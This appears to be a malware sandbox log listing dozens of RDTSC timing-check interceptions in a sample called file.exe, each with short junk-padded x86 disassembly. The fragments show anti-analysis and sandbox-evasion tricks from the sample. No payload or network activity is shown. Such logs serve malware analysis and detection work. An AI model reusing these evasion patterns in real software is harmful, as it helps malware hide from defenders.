Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600562 second address: 600588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007F7689489CBFh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600588 second address: 60058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6023C6 second address: 602444 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F7689489CA8h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 pushad 0x00000014 or dword ptr [ebp+122D313Bh], ecx 0x0000001a popad 0x0000001b mov bl, al 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D2ABFh], esi 0x00000025 add dword ptr [ebp+122D2BDBh], ebx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F7689489CA8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 or bl, 00000031h 0x0000004a mov bl, ADh 0x0000004c push eax 0x0000004d pushad 0x0000004e jmp 00007F7689489CB7h 0x00000053 push eax 0x00000054 push edx 0x00000055 jnc 00007F7689489CA6h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601668 second address: 60166C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602581 second address: 602585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60166C second address: 60168D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F768920F563h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033D1 second address: 603406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F7689489CB4h 0x00000013 jmp 00007F7689489CAEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603406 second address: 603411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F768920F556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602684 second address: 6026A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F7689489CA6h 0x00000009 jmp 00007F7689489CACh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6026A3 second address: 6026A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6026A7 second address: 6026AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6026AB second address: 6026B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605637 second address: 60563C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60563C second address: 605641 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605772 second address: 605791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6087CF second address: 60885E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F55Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F768920F55Ch 0x00000010 jnp 00007F768920F55Ch 0x00000016 jno 00007F768920F556h 0x0000001c popad 0x0000001d nop 0x0000001e mov ebx, dword ptr [ebp+122D391Ah] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F768920F558h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007F768920F558h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c mov ebx, dword ptr [ebp+122D309Dh] 0x00000062 mov edi, 3DC03FC1h 0x00000067 jnc 00007F768920F557h 0x0000006d push eax 0x0000006e push esi 0x0000006f pushad 0x00000070 pushad 0x00000071 popad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607861 second address: 607865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607865 second address: 60786F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F768920F55Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60786F second address: 60787B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60787B second address: 60787F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60795D second address: 607986 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F7689489CA6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 jmp 00007F7689489CAFh 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607986 second address: 60798C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608992 second address: 6089CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7689489CB8h 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e jmp 00007F7689489CB8h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608AAB second address: 608AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608AAF second address: 608ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A884 second address: 60A888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A95E second address: 60A963 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A963 second address: 60A984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F768920F556h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F768920F55Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6099D2 second address: 6099E8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7689489CACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A984 second address: 60A989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D93F second address: 60D943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D943 second address: 60D947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D56 second address: 611D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7689489CA6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7689489CAEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D73 second address: 611D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D77 second address: 611D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D7B second address: 611D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D81 second address: 611D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F7689489CC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D92 second address: 611D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F768920F556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611D9C second address: 611DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611DA0 second address: 611DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6114D1 second address: 6114DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7689489CA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611762 second address: 61179D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F768920F556h 0x00000008 jmp 00007F768920F568h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F768920F567h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61179D second address: 6117A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618151 second address: 61815B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61815B second address: 61815F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D201 second address: 61D207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D207 second address: 61D223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F7689489CB0h 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D35F second address: 61D377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F768920F556h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F768920F55Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D377 second address: 61D383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7689489CA8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D52A second address: 61D530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D692 second address: 61D6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7689489CB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D6AA second address: 61D6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F566h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F768920F55Eh 0x0000000f jbe 00007F768920F556h 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D9AA second address: 61D9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F7689489CA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DB09 second address: 61DB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F768920F556h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DB15 second address: 61DB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F7689489CAEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DB28 second address: 61DB33 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007F768920F556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B668E second address: 5B66BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7689489CA6h 0x00000009 jne 00007F7689489CA6h 0x0000000f jmp 00007F7689489CB9h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B66BB second address: 5B66BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A787 second address: 62A797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CAAh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8CF second address: 62A8E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F562h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8E5 second address: 62A8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8EB second address: 62A8F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8F2 second address: 62A8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8FC second address: 62A902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ADD4 second address: 62ADFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jns 00007F7689489CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F7689489CB4h 0x00000012 jns 00007F7689489CA6h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ADFF second address: 62AE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F768920F55Eh 0x0000000b jnp 00007F768920F556h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A458 second address: 62A45C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A45C second address: 62A464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B218 second address: 62B21C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B21C second address: 62B220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B635 second address: 62B652 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F7689489CB4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B652 second address: 62B672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F768920F556h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F768920F55Dh 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B672 second address: 62B67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63146C second address: 631470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63001F second address: 630023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6304B1 second address: 6304C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F768920F55Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630A8B second address: 630AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F7689489CB2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630BF5 second address: 630C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F768920F561h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630C0D second address: 630C29 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7689489CA8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F7689489CABh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630C29 second address: 630C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630C2F second address: 630C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630DC3 second address: 630DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA041 second address: 5DA05D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7689489CB7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6312B4 second address: 6312B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FB7F second address: 62FB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jg 00007F7689489CAEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632F8E second address: 632F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE237 second address: 5AE23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE23B second address: 5AE241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE241 second address: 5AE250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7689489CABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF615 second address: 5EF61B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF9AB second address: 5EF9B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF9B1 second address: 5EF9B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF9B7 second address: 5EF9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFB5A second address: 5EFB7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F565h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFB7D second address: 5EFBAC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7689489CABh 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7689489CB5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFBAC second address: 5EFBB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFBB2 second address: 5EFBB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
